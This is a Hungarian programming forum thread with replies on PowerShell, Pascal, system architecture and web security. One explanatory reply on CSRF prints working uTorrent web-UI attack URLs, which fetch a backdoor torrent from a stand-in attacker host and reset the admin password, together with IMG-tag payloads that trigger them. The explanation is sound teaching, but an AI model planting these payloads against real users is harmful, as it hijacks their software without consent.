Hirdetés
- Mégis mi értelme az Xbox PC-nek, ha limitálja a hardverválasztékot?
- TCL LCD és LED TV-k
- OLED TV topic
- Milyen TV-t vegyek?
- Nvidia GPU-k jövője - amit tudni vélünk
- AMD GPU-k jövője - amit tudni vélünk
- Milyen asztali (teljes vagy fél-) gépet vegyek?
- Intel Core i5 / i7 / i9 "Alder Lake-Raptor Lake/Refresh" (LGA1700)
- AMD K6-III, és minden ami RETRO - Oldschool tuning
- Fujifilm X
-
PROHARDVER!
Új hozzászólás Aktív témák
-
válasz
klambi #16073 üzenetére
nem összefűzni:
$LogFile = "D:\Temp\$(get-date -f yyyyMMddhhmmss).txt"
Get-ChildItem -Path "D:\scan" -Recurse -Force | Where-Object { $_.PSIsContainer -eq $false -and $_.Length -eq 0} | ForEach-Object {
$_ | del -Force
$_.FullName | Out-File $LogFile -Append
}
vagy$LogFile = "D:\Temp\$(get-date -f yyyyMMddhhmmss).txt"
Get-ChildItem -Path "D:\scan" -Recurse -Force | Where-Object { $_.PSIsContainer -eq $false -and $_.Length -eq 0} | Tee-Object -FilePath $LogFile -Append | del -Force -
-
válasz
Demertin #15880 üzenetére
Ha jól rémlik katonai műszaki gépészetet idehaza csak az NKE-n tudsz tanulni, de nem rémlik, hogy az alapszakon (katonatiszti képzés) kívül volna más lehetőség ezt elvégezni.
Még anno a politechnikumos időkben talán volt erre elméleti lehetőség (1995 körül), de manapság... Ráadásul ha jól tudom a repülőmérnöki és a gépjármű-mérnöki szakok is külön vannak. -
válasz
MostaPista #15867 üzenetére
Nagyjából hasonló "rendszert" fejleszettem egy kis cégnek egy 3 fős csapattal 20 éve (nagyjából 6 hónapos fejlesztés volt, utána a cég még kb 15 évig "gondozta" a programot). A cég (tíz)milliókat kért érte megfelelő helyeken amiket persze meg is kapott.
Egy feladat leprogramozása nem csak arról szól, hogy legyen egy listád amiben van némi hierarchia. A programnak rendelkezni kell felhasználói felülettel (ez vitte el a fejlesztési idő kb 75%-át amúgy), a belső logikának pedig biztosítania kell a konzisztenciát, a hierarchiának megfelelő változásokat. Az egymással kapcsolatban álló eseményeknek nem szabad elárvulniuk, ha valami változás történik a struktúrában. És természetesen ezeket a belső logikai szabályokat a megrendelőnek kell specifikálnia - ami az esetek nagy részében azt jelenti, hogy használat közben belefutnak valami "hibába", és akkor derül ki, hogy azt nem specifikálták le, mi pedig megírtuk úgy ahogy a legegyértelműbb volt nekünk. -
-
válasz
pmonitor #15663 üzenetére
Amit keresel azokat úgy hívják, hogy nyelvi csomagok. Általában vannak az adott (magasabb szintű) programozási nyelvekhez 'hivatalos' tárolók, ahol elérhetők ilyen kódtárak (vagy már lefordított függvénykönyvtárak.
Természetesen az esetek nagy részében ezek hatékonyságát és/vagy gyorsaságát senki nem fogja ellenőrizni (legfeljebb a kód tényleges felhasználói). Pythonhoz ilyen pypi, de ilyen a github is nyelvfüggetlenül (vagy a github előtti időkben a sourceforge).Amúgy szerinted ki töltené az értékes (és meg nem fizetett) idejét azzal, hogy más kódjait túrja hibák, optimalizálatlanság, memory leak, vagy csak hanyag implementáció után kutatva? Legfeljebb a "biztonsági kutatók", akik ezen hibákon keresztül, ilyen kódot futtató rendszerekbe juthatnak be (de a hibákat javítani ők sem fogják). De pl az, hogy egy sort vagy permutációs algoritmus nincs jól optimalizálva szerintem még az ő érdeklődési szintjüket se üti meg...
-
válasz
pmonitor #15626 üzenetére
Amúgy visszatérve az eredeti felvetére - egyetemi jegyzet vs optimalizált kód.
Legtöbbször az egyetemi jegyzetben levő kód az optimalizáció rosszabbik végén van (nem pedig középtájon), hogy a hallgatók jobban megértsék a kód működését és képesek legyenek elsajátítani az alapvető programozási technikákat.
Hacsak nem optimalzációs techikákról szól az adott tantárgy/témakör, szvsz nem fogsz találni még közepesen optimalizált kódot se.
#15628 - szerintem a StackOverflow-n van több olyan bejegyzés is, ami az adott eljárás optimalizációját tárgyalják ki.
Alapvetően ez nem egy programozási fórum, vsz nem fogsz találni túl sok fórumozót, akit ez különösképp megmozgatná (ráadásul úgy, hogy nyelvfüggetlen / nyelvek közötti optimalizációt szeretnél kibeszélni). Egyébként semmi nem akadályoz meg abban, hogy Logouton indíts erről egy sorozatot, és ha lesz rá kereslet a hozzájuk tartozó fórumtémák is aktívak lesznek... -
válasz
martonx #15623 üzenetére
És jönne az a kérdés, hogy fejlesztő csapat az elején miért nem 100+-os felhasználói bázisra írta meg? Mert valószínűleg volt egy árajánlat
- egy 20+ felhasználói csoportra egyszerű kódbázissal, ami X idő alatt lékszül Y forintból és N darab gép kell alá;
- és egy 100+ useres robosztusabb, elosztott változat, ami 1.5X idő alatt készül el, 2Y pénzbe kerül és N+5 darab gép kell alá.
Ebből nagy valószínűséggel az ügyfél az olcsóbb és gyorsabban elkészülő és könnyebben üzemeltethető megoldást választja - amennyiben az számára elegendő - az esetek 99.99%-ban. -
válasz
pmonitor #15594 üzenetére
Igazából senkit sem érdekel, hogy minél gyorsabban fusson valami, az érdekes, hogy az elvárt időn belül lefusson. Ha az elvárt idő 7 mp és lefut 2 mp alatt, akkor nem fogják árírni c-be vagy assy-ba, hogy 0.05 mp alatt lefusson.
Ja és sokkal valószinűbb, hogy ha 10 mp alatt futna le, akkor se keresnek másik programozási nyelvet, hanem csak egy gyorsabb implementációt ugyanarra a problémára (ha van ilyen). -
válasz
ValGerald #15404 üzenetére
Kb 10 éve végeztem Miskolcon, igaz másoddiplomán. Állítólag alapképzésben is durva a valszám és a kapcsolódó tárgya (infoelmélet pl), és a diszkrét matek. Ezek szórótárgyak voltak anno, a vizsgákon a jelentkezők max 30-40%-a ment át. Másoddiplomán durva volt hogy 7 félévet kellett lenyomjunk (amiből 3 szinte csak matek volt), míg Veszprémben megúsztam volna 4 félévből.
-
válasz
fatal` #14985 üzenetére
Régesrégen, az őskorban még így volt. Szvsz a régebbi motorosok (moderátorok), megmaradtak a régi szokésban és inkább egybeszerkesztetik a többszörös hozzászólásokat. Szerintem ez egyébként az oldal öröksége, és nincs vele sokszor probléma.
Nem egy csetkliens ez, hogy mindenkinek mindenre válaszolni kelljen. -
válasz
DrojDtroll #14979 üzenetére
ja, hogy ezek, már rémlik, hogy belehegesztettem valami JS-be a szabályokat...
-
Nem tudom volt-e már, de diákoknak egy csomó ingyenes cuccot ad most a Microsoft (github). Ha tudjátok igazolni a diákságot, akkor erre lehet érdeklődni:https://education.github.com/packLOL - most nézem, hogy idehaza csak a GreenFox a partner? WTF?
-
válasz
Ezekiell #14361 üzenetére
A bankautomaták 95%-a meg COBOL-t használ, mégse ajánlanád, ugye?
A bankautomaták 99%-a Windows alapú - sajna egy jelentős részük még Win 7 -, és régóta nem láttak márCOBOL-t (gyakorlatilag mióta rendes PC van bennük - kb a 386-os korszak óta).
Pontosabban COBOL fejlesztést. Van ugyan egy COBOL stub az ATM-eken, ami a kártyaelfogadó rendszerekkel kommunikál, de ezeket senki nem fogja piszkálni (legfeljebb konfigurálgatni). Az alap banki rendszerek (számlavezető rendszerek és a kártyaelfogadó rendszerek) egy jelentős része az, ami COBOL-ban íródott. -
válasz
MasterDeeJay #14315 üzenetére
rowselect-nél ez by design így megy. csak kerülőutat tudsz csinálni magadnak (pl másik shortcut, submenu, vagy duplakattintásra cella másolás)
Esetleg, ha RowHeaderSelect-et állítasz be SelectionMode-nak és a ClipboardCopyMode-nak pedig EnableWithoutHeaderText-et, akkor látni fogod, melyik sorban állsz, de nem másolja az első cellát is.
-
Sajna nincs min kipróbálnom - csak fejből ment. Az Exit amúgy miért nem szép? Minden tisztességes programozási nyelvben van return, exit function vagy ilyesmi.
Értem én, hogy egy programban célszerű, ha egy visszatérési pont van, de egyrészt be kell vezetni egy plusz változót, másrészt a beágyzott if-ek se néznek ki szépen, még ha nem is úgy van formázva, hogy ez lásson... szerintem. -
válasz
janos1988 #14000 üzenetére
A kódot nem igazán sikerült megfejtenem, csak, hogy egy végtelen rekurzív ciklusba fut (a for ciklusban mindig kötelezően meghívja magát...)
mod: hiányzik az exit az if-ek végéről
program ermek_demo;
const
n=2;
type
a = array [1..n] of integer;
const
ermek:a=(1,2);
function f_kombok(ermek:a;osszeg:integer;temp_index:integer):integer;
var
temp:integer;
begin
if osszeg=0 then
f_kombok:=1;
exit;
end;
if osszeg<0 then
f_kombok:=0;
exit;
end;
f_kombok:=0;
for temp:=temp_index to n do f_kombok:=f_kombok+f_kombok(ermek,osszeg-ermek[temp],temp);
end;
begin
writeln(f_kombok(ermek,4,1));
readln;
end.
modmod: kib&@#{ kódszerkesztő
-
Nem lehet, hogy maga a memory manager tart ott valamit és azért enged oda allokálni.
Én kis foglalásokkal kitesztelném, hogy melyik az a tartomány, amit nem lehet foglalni (biztos van valahol egy tiltott rész) és utána próbálnék rájönni, hogy mi foglalja (vagy miért nem sikerül felszabadítani.
Ha valami realtime cuccot csináltok, akkor simán lehet, hogy valami memória-allokátor
bugfeature lesz. -
válasz
instantwater #13418 üzenetére
-
válasz
instantwater #13408 üzenetére
Excel kiválóan működik REST kliensként, aktívan használom erre.
-
Van olyan funkciója az alkalmazásnak, amire egy weboldal nem lenne képes?
Céges store-hoz ráadásul kell még egy csomó minden...
-
válasz
kovacslevi98 #13065 üzenetére
-
válasz
Dave Crank #12988 üzenetére
Jó kérdés, miért lassú a cpp program - simán elképzelhető, hogy nem a program, hanem az eszköz hibája.
Amúgy bármiben meg tudod írni, ami kezel soros portot - akár pythonban is. Válassz egy neked szimpatikus nyelvet és kezdj neki. -
válasz
bambano #12821 üzenetére
A kolléga a #12810-ban vagy ötször leírta, hogy biztonsági jellegű aggodalmai vannak. Lehet, hogy egy cronatbbal és exporttal megoldható (mondjuk nem tudom az iptablessel mit csinálna), de szvsz pont azt akarja elkerülni, hogy bárki turkáljon az adatokban - persze lehet, hogy tévedek.
-
#12792 Citroghost:
Adatbázis admin kollégáim közül nem egy volt kénytelen "szakirányt váltani". Nem hogy 3 hónapnyi SQL ismerettel, de 5-10 év DBA tapasztalattal sem egyszerű elhelyezkedni, ha az embernek váltani kell és nincs mellette más, csak DB ismeret...Amerika pedig egyértelműen más: egyrészt ~30.000 informatikus hiányzik a szakmából, másrészt nem hogy támogatják, ha az ember csak egyvalamihez ért (pl DB), hanem általában nem is nézik jó szemmel, ha az ember más feladatkörbe "belekontárkodik".
-
-
válasz
bandi0000 #12733 üzenetére
Mindegy, hogy session-id-t használsz magában, vagy CSRF-et is külön - ha a session id nem cookie-ban megy, hanem form fieldben. Viszont ha Cookie alapú session kezelésed van, akkor kell GET/POST paraméter alapú CSRF token is.
Általánosságban viszont CSRF-védelem csak azokhoz az erőforrásokhoz kell, amelyek változtatnak szerveroldali állapoton (pl logon/logoff, konfig/erőforrás változtatás, tranzakció, create/update/delete) Kizárólag view request-ekhez nem kell CSRF token.
-
válasz
bandi0000 #12731 üzenetére
A CSRF védelem lényege, hogy minden hívásnál random (vagy csak nagyon rövid ideig - egy oldal életciklusáig - él). A tokent nem cookie-ban vagy más lokális store-ban tároljuk, hanem a lap kódjában kerül eltárolásban (legtöbbször hidden form field-ben, mert lekérésnél vissza kell adni a szervernek). A védelem lényege az, hogy a felhasználó nevében nem lehet olyan kérést indítani, aminek a "forrása" nem a kérdéses weboldal.
Illetve a fenti megoldás a "secure" mód - de ez elcseszi a vissza-gomb működését ("CSRF Failure"-t hibát generál), legtöbbször - alacsonyabb biztonsági szinthez, session-élettartamú CSRF-tokent generálnak.
Ennek a védelemnek egyébként az a feltétele, hogy atámadó ne tudja megszerezni a session/csrf token-t (azaz ne legyen az alkalmazásban XSS sebezhetőség - vagy az alkalmazás csrf token segítségével ezonosítsa a felhasználót ne csak session cookie és/vagy kliens ip alapján).
Jó példa erre (wikiből) az alábbi uTorrent sebezhetőség:
Torrent letöltés hozzáadása:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
uTorrent administrator password megváltoztatása
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladminCSRF támadó kód simán kivitelezhető pl egy IMG tag hozzáadásával, ami a sebezhető címre mutat (BBCode):
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
vagy ide a PH-ra:[IMG:http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent][/IMG]
-
válasz
FidelKasztró #12247 üzenetére
1. lehetőség:
A szoftver fejlesztője már megírta, hogy nem hajlandó az ilyesmire, így nem veszed meg. Ja de mégis, mert speciális szoftver és nincs kokurencia. Amikor gépet cserélsz, majd megveszed újra.
2. lehetőség:
Veszel egy NAS-t és feltelepíted arra. Használat után (igazából amikor gépet cserélsz), rájössza arra, hogy a szoftvert messziről nem érdekli, hogy milyen meghajtóra telepítetted, mert a futtató gép paramétereihez (pl CPU ID) regisztrálta magát. Gépcserekor megveszed újra.
3. lehetőség:
PM-bem megtalál innen (vagy máshonnan) valalki, aki hajlandó neked kiiktatni a végelmet (pénzért, vagy szimlán jófejségből). Ez visztont BTK, és mivel drága szoftverről van szó (gondolom 50.000 forint felett), így ez már bűncselekmény kategória. Ezért (értelemszerűen) itt a topikban nem fog neked senki segíteni. -
válasz
#81999360 #12229 üzenetére
vbscript + sendkey vagy appactivate
http://www.vbforums.com/showthread.php?514799-SendKeys-quot-alt-Tab-quot-doesnt-work-P
Clipboard, ha a ctrl+c és ctrl+v nem menne:
https://gist.github.com/simply-coded/4f4c4ab714803b33ee2f88258814c383 -
válasz
dajkapeter #12163 üzenetére
Olvasd végig a vDOS FAQ-t. Mivel fogalmunk sincs, hogy épül fel a könyvtárszerkezet és milyen feltételei vannak a program futásának, így azt csak próbálkozva lehet majd valószínüleg működésre bírni.
-
válasz
BTminishop #12079 üzenetére
akkumulátor használatával:
loop R2:
add R1 // ACC += R1
endloop
store R3 // ACC -> R3vagy ha nincs ilyen add utasítás:
clear R3
loop R1
loop R2
inc R3
endloop
endloopmondjuk jó kérdés, hogyan nullázol ki egy regisztert egyoperandusú utasítással (ha nincsenek akkumulátor utasítások)
De rájöttem (asszem):
push 0
pop R3
push R1
pop CX
:loop_R1
push CX
push R2
pop CX
:loop_R2
inc R3
loop loop_R2
pop CX
loop loop_R1 -
válasz
V.Stryker #12064 üzenetére
Céges gépen (admin nélkül) rakd fel az anakondát vagy a python-t így:
1. Letöltés - https://www.python.org/downloads/
2. CMD:cd Downloads
msiexec /a <installer file> TARGETDIR=%USERPROFILE%\python
cd %USERPROFILE%\python
.\python.exe -m ensurepip3. user-scope környezeti változók közé hozzáadni:
PATH=%USERPROFILE%\python;%USERPROFILE%\python\scripts
-
válasz
Jim Tonic #11957 üzenetére
Kérdés az mennyire védhető az adott architektúra, és mennyire tekintjük megbízhatónak a klienst.
Amennyiben a vastagklient ténylegesen csak megjelenítő funkciókat lát el és nincs benne üzleti logika, és nem kapcsolódik közvetlenül az adatbázishoz, akkor nincs semmi probléma - de onnantól kezdve, hogy funkciókat, döntéseket, ellenőrzéseket viszünk be a vastagkliensbe, a rendszer egyszerűen feltörhetővé/visszafejthetővé válik. Egy vállalati rendszerben a zártság kiemelt fontosságú (-nak kellene legyen). -
A vékonykliensnek egyértelműen előnye a könnybben (természetesebben) megvalósítható többrétegű model, melyben kevesebb kockázatot tolunk a kliensbe. Amennyiben fontos, hogy jobban vigyázzon a rendszer a hozzáférésekre (pl adatbázis jelszó) és kizárólag csak a hozzáférési joghoz való funkciókat tegye hozzáférhetővé, akkor ez a járandó út.
Vastagkliensnél gyakran helyeznek el üzleti logikát, hozzáférési adatokat (beégetett jelszót, tanusítványokatt). Ezek egy hozzáértő kezében a rendszer jelszavai nélkül is kinyerhetők. Másrészt sokszor a vastagkliens látja el az autorizáció feladatait is (csak a szükséges menüpontokat / lehetőségeket jeleníti meg), de a háttérben teljes joggal fut (admin, vagy dba jogokkal). Az ilyen kliens-oldali korlátozásokat könnyű kikerülni.
Ha a fentiek nem fontosak (és néhány éven belül nem is lesznek azok), akkor érdemes lehet vastagkliensre fejleszteni. Ha elképzelhető, hogy a rendszert vállalati környezetben is fogják használni, akkor irány a vékonykliens és három- (vagy több-) rétegű architektúra.
Új hozzászólás Aktív témák
● olvasd el a téma összefoglalót!
- Béta iOS-t használók topikja
- Abarth, Alfa Romeo, Fiat, Lancia topik
- Ózongenerátor a háztartásban
- Google Pixel 10 Pro XL – tíz kicsi Pixel
- Exkluzív órák
- Mégis mi értelme az Xbox PC-nek, ha limitálja a hardverválasztékot?
- Elemlámpa, zseblámpa
- BMW topik
- Laptop csatorna inditasa 2023 vegen YouTube-on?
- TCL LCD és LED TV-k
- További aktív témák...
- Playstation 4 Pro 1 TB + kontroller 6 hó garancia, számlával!
- LG 50NANO803PA 126 cm / 50 4K UHD NanoCell Smart TV 6 hó garancia Házhozszállítás
- Xbox One S 512 GB + kontroller 6 hó garancia, számlával!
- Új Hydrofast W100 RO víztisztító + 2 szűrő
- Új Annke FCD800 8MP UHD PoE 180 biztonsági IP kamera IP67
- ÁRGARANCIA!Épített KomPhone i5 13400F 32/64GB RAM RX 7800 XT 16GB GAMER PC termékbeszámítással
- HP 15 Pavilion FHD LED Matt Ryzen5 5500U 4.0Ghz 8GB RAM 256GB SSD Radeon RX Vega7 Win11 Garancia
- Bomba ár! Lenovo ThinkPad X250 - i7-5GEN I 8GB I 256GB SSD I 12,5" HD I Cam I W10 I Garancia!
- LG 48C2 - 48" OLED EVO - 4K 120Hz 1ms - NVIDIA G-Sync - FreeSync Premium - HDMI 2.1 - A9 Gen5 CPU
- Eladó Apple iPhone 13 256GB Kék / 12 hó jótállás
Állásajánlatok
Cég: PCMENTOR SZERVIZ KFT.
Város: Budapest
Cég: CAMERA-PRO Hungary Kft.
Város: Budapest